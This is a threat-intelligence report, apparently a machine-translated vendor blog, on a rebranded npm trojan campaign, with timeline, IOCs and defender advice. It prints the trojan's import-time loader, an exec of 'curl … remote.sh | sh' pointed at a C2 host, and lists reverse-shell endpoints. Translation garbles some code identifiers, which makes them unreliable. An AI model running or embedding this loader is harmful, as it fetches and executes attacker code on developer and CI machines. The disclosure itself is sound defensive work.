GhostTracker: npm Trojan Rebranded yn 74 minuten - Deselde C2

GhostTracker: in npm-trojan dy't binnen oeren nei it fuortheljen in nije namme krige - en deselde C2 behold

TL; DR

In inkele npm-operator publisearre fiif trojanisearre pakketten oer twa rûndes yn trije dagen. De pakketten dogge har foar as lytse terminal-kleur, logger, en Postgres-kliïnt-hulpprogramma's. De kweade koade rint it momint dat it pakket ymportearre wurdt — der is gjin ynstallaasjeskript om te fangen.

Ronde ien (neon-terminal, neon-postgres, ne-logger) waard net publisearre op 2026-07-05 om 14:14 UTC. Fjouwerensantich minuten letter itselde akkount publisearre deselde trojan opnij ûnder nije nammen (agn-terminal, agn-logger) — en wiisde it nei de itselde kommando-en-kontrôle-einpunt it hie earder brûkt: tracker.bvgroup.co.

Dy C2-host is de iene yndikator dy't de omneaming oerlibet, en it rapste ding foar in ferdigener om nei te sykjen. Earnst: heechEkosysteem: npmDe pakketten fan 'e twadde ronde wiene op it momint fan skriuwen noch live.

De oanfal: hoe't it wurket

De pakketten binne funksjonele lokfûgels. Iepenje agn-terminal en jo fine in folsleine, wurkjende ANSI-kleurhelper - codes, stipetKleur, ynkleurje, fervje — mei typen en in README. De hulpprogrammakoade wurket. Oan 'e boppekant fan' e ynfiermodule, boppe de nuttige koade, sitte in pear rigels dy't by ymport rinne.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Trije dingen meitsje dit effektyf.

  • It wurdt aktivearre by ymportearjen, net by ynstallaasje. It pakket ferklearret nee foarôf ynstallearje or nei ynstallaasje heak - de gewoane plak dêr't scanners en resinsinten sykje. De exec oprop is koade op modulenivo. It rint de earste kear dat wat docht fereaskje ("agn-terminal") or ymportearje "agn-terminal", op 'e masine fan 'e ûntwikkelder of yn CI. Sawol de ESM-yngong (src/yndeks.js) en de CommonJS-yngong (cjs/src/index.js) drage deselde lading, sadat beide modulesystemen dekt binne.
  • De echte lading libbet bûten it pakket. It pakket ferstjoert allinich in ien-line stager: fetch remote.agyn.org/remote.sh` en pipe it nei sh`. Wat de operator ek fan dy URL op it momint fan oanfraach tsjinnet, dat wurdt útfierd. It C2-eindpunt wurdt trochjûn oan it ynladen skript fia de TRACKER_REMOTE_ENDPOINT omjouwingsfariabele, dus it skript fan etappe twa bellet nei hûs tracker.bvgroup.co.
  • In dragerpakket fergruttet de eksploazjeradius. agn-logger is in twadde lokmiddel - in "lytse wrâldwide logger". It hat gjin eigen lading. Syn yngongsmodule docht ien relevant ding:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

It ferklearret agn-terminal as in ôfhinklikens en ymportearret it. It ynstallearjen of ymportearjen fan de logger lûkt it terminalpakket oergongsgewiis yn en triggert it. In projekt dat de Trojan noait direkt neamt, kin it noch altyd útfiere fia de logger.

Wat is hjir nij

De earste ronde brûkte gjin remote stager. It ferstjoerde de lading ynline en eskalearre it ferzje foar ferzje - in bash reverse shell yn ien release, in net.Socket omkearde shell yn 'e folgjende, in git tafoegje/commit/triuwe fan 'e wurkmap fan it slachtoffer yn in oare, en úteinlik in folsleine HTTP-kommando-en-kontrôle-agent yn neon-terminal 0.9.0 dy't de host registrearre, frege nei taken, se útfierde mei exec(), en streamde base64-kodearre útfier werom. De twadde ronde foldt dat allegear yn ien krul | sh, en faze twa folslein út it register ferpleatse. Deselde operator, stiller pakket, fleksibelere lading - en, kritysk, deselde C2 as earder.

Timeline

Datum (UTC) Barren
2026-07-03 07:03 Ronde ien publisearre: neon-terminal (0.1.0 skjin, dan 0.2.0–0.9.0 kwea-aardich), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal markearre yn real-time scanning
2026-07-04 Befêstige kwea-aardich; korrelaasje bringt de twa siblingpakketten nei foaren; earste pogingen om it te ferwiderjen yntsjinne
2026-07-05 14:14 Ronde ien net publisearre - alle acht neon-terminal ferzjes plus sibben fuorthelle
2026-07-05 15:28 agn-terminal 0.1.0 publisearre
2026-07-05 15:29 agn-logger 0.1.0 publisearre - ferfierder foar it nije terminalpakket
2026-07-05 (oanhâldend) Pakketten fan ronde twa binne beskikber op it momint fan skriuwen

De twa rûndes sitte trije dagen útinoar, en it gat tusken it fuortheljen en it opnij lansearjen wie 74 minuten. De kampanje is iepen: de agn-* pakketten wiene net fuorthelle doe't dit skreaun waard.

Yndikatoaren fan kompromis

Sykje yn lockfiles en ôfhinklikheidsbeammen nei de pakketnammen. Sykje yn proxy, DNS, en BDU logs foar de netwurk-eindpunten. De C2-host tracker.bvgroup.co omspant beide rondes en is de ienige yndikator mei de heechste wearde.

Packages

Pakket versions rol Status
neon-terminal 0.2.0–0.9.0 trojan (inline payloads → HTTP C2) net publisearre
neon-postgres 3.5.2 trojan (lading yn src/errors.js) net publisearre
ne-logger 0.7.0 ferfierder (ôfhinklik fan neon-terminal) net publisearre
agn-terminal 0.1.0 trojaan (curl | sh toanielspiler) libje
agn-logger 0.1.0 ferfierder (ôfhinklik fan agn-terminal) libje

neon-terminal 0.1.0 wie in skjin sied - in wurkjende kleurbibleteek sûnder lading - publisearre om it pakket fêst te stellen foardat de kwea-aardige ferzjes folgen.

netwurk

indicator Kontekst
tracker.bvgroup.co/remote/… HTTP C2, beide rûndes (token fan rûnde twa t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh ronde-twa etappe-ien lader
reverse.bvgroup.co:443 einpunt fan 'e iene rûnde fan 'e omkearde shell (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 rûne-ien omkearde shell (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 rûne-ien omkearde shell (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io operator-kontroleare domeinen

Behavioraal

  • Module-nivo bern_proses.exec boppe-oan it yngongsbestân fan in hulpprogrammapakket, yn beide src/yndeks.js (ESM) en cjs/src/index.js (CJS).
  • A krul -fsSL … | sh ienliner mei de C2 trochjûn fia in TRACKER_REMOTE_ENDPOINT omjouwingsfariant.
  • In twadde "utility"-pakket dat it earste as in ôfhinklikens ferklearret en it ymportearret, sûnder eigen lading.
  • In oerbliuwsel // neon-terminal kommentaar boppe-oan agn-terminal — in kopiearje-plakke-artefakt dat de rebranding ferbynt mei it orizjineel.

Triemhashes (SHA-256, ronde twa)

  • agn-terminal src/yndeks.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/yndeks.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribúsje en waarnommen gedrach

Elk pakket kin nei ien npm-akkount trace wurde, vitalii-agyn, publisearje ûnder it net-ferifiearre e-postadres vitalii@agyn.ioDe eigen registermetadata fan it akkount listet alle trije ronde-ien-pakketten op sa't se troch har ûnderhâlden wurde. De ynfrastruktuer ferbynt de rondes mei-inoar: it domein agyn.org komt oerien mei de útjouwer agyn.io e-postdomein, en de C2-host tracker.bvgroup.co ferskynt yn beide neon-terminal 0.9.0 en agn-terminal 0.1.0 - itselde samlerspaad, letterlik opnij brûkt nei de omneaming.

Wy beskriuwe wat de artefakten sjen litte en stopje dêr. It opjûne e-postadres fan 'e útjouwer is vitalii@agyn.io; wy hawwe it eigendom fan dat adres net ferifiearre, en wy taskriuwe it akkount net ta oan in neamde persoan of groep. It werbrûken fan ien C2-einpunt oer twa pakketfamyljes is in sterk sinjaal fan deselde operator, gjin identiteit.

De pakketten fan 'e earste ronde wiene ôfhinklik fan merkneiging. neon-postgres wie in folsleine kloon fan Porsager's dy't breed brûkt waard postgres.js kliïnt, slogan en al, mei de lading deryn ferstoppe src/flaters.js dus in routine ymportpaad soe it berikke - en de neon- foarheaksel lient de werkenberens fan Neon, de serverleaze Postgres-provider. De nammen fan 'e twadde ronde lieten de imitaasje falle en gongen generyk (agn-terminal, agn-logger), hannelsmerkpull foar in skjinne pauze fan 'e ferbaarnde nammen.

 Ynfloed, trends en begelieding fan ferdigeners

  • Wa is bleatsteld. Elkenien dy't ien fan dizze pakketten ynstallearret en ymportearret, direkt of fia de ferfierder, op in Unix-like host. De stager brûkt curl en sh; de rûne-ien skelpen brûke bash en /dev/tcpOmdat útfiering by ymport plakfynt, is in buildserver dy't de ôfhinklikens ynstallearret en alle koade útfiert dy't dermei yn kontakt komt genôch - gjin stap nei de ynstallaasje fereaske. Op in ûntwikkelderswurkstasjon of CI-runner rint de ynladen etappe twa mei de privileezjes fan 'e brûker en folslein netwurkberik.
  • Wêrom't útfiering op ymporttiid wichtich is. Definsje yn 'e supply chain hat him konsintrearre op ynstallaasjeskripts, en mei goede reden - postinstall is de klassike npm-foetsteun. Dizze kampanje giet dat folslein om. Der is gjin ynstallaasjehook om te markearjen. kweade koade is gewoane module-inisjalisaasje, yn ien eachopslach net te ûnderskieden fan in pakket dat in opsyktabel berekkent by it laden. Tools dy't allinich skripts yn package.json ynspektearje sjogge neat.
  • De trend fan rebranding en opnij brûken. De ommekear fan 74 minuten is it ferhaal. Takedown ferwidere de nammen, mar net de operator, de ynfrastruktuer of de koade. Binnen in oere wie de kampanje wer live ûnder nije nammen dy't nei deselde C2 wiisden. Namme-basearre blokkearjen - denylisting neon-terminal - soe al ferâldere west hawwe. Ynfrastruktuer-basearre blokkearjen - denylisting bvgroup.co - soe by oankomst ronde twa fongen hawwe. Foar in live operator dy't rapper opnij publisearret as registers fuortsmite, is de duorsume yndikator it netwurkeindpunt, net de pakketnamme.

wat no te dwaan

  • Grep lockfiles en ynstalleare beammen foar alle fiif pakketnammen hjirboppe. Behannelje elke oerienkomst as in kompromittearre host en rotearje ynloggegevens dy't derfan berikber binne.
  • Blokkearje en warskôgje op 'e domeinen bvgroep.co, agyn.org, en de ngrok-einpunten yn DNS- en útgongsfiltering. tracker.bvgroup.co is de prioriteit.
  • Fertrou net allinich op it scannen fan ynstallaasjehooks. Foegje deteksje ta foar modulenivo. bern_proses en netwurkopropen yn ôfhinklikheden, en foar krul … | sh patroanen yn pakketboarne.
  • Beskôgje in hulpprogramma-pakket dat in oar ûnbekend hulpprogramma as syn ienige ôfhinklikens ferklearret, en it by it laden ymportearret, as in twadde blik wurdich.
  • Yn CI, foarkar –Ignorearje-skripts wêr praktysk, mar begryp dat it hjir net helpt - de payload rint by ymport, dus runtime-útgongskontrôles en ôfhinklikheidsbeoardieling binne wichtiger.

Referinsjes

sca-tools-software-komposysje-analyse-ark
Prioritearje, ferhelpe en befeiligje jo softwarerisiko's
Krij jo fergese akkount.
Gjin kredytkaart nedich.

Befeiligje jo softwareûntwikkeling en levering

mei Xygeni Produkt Suite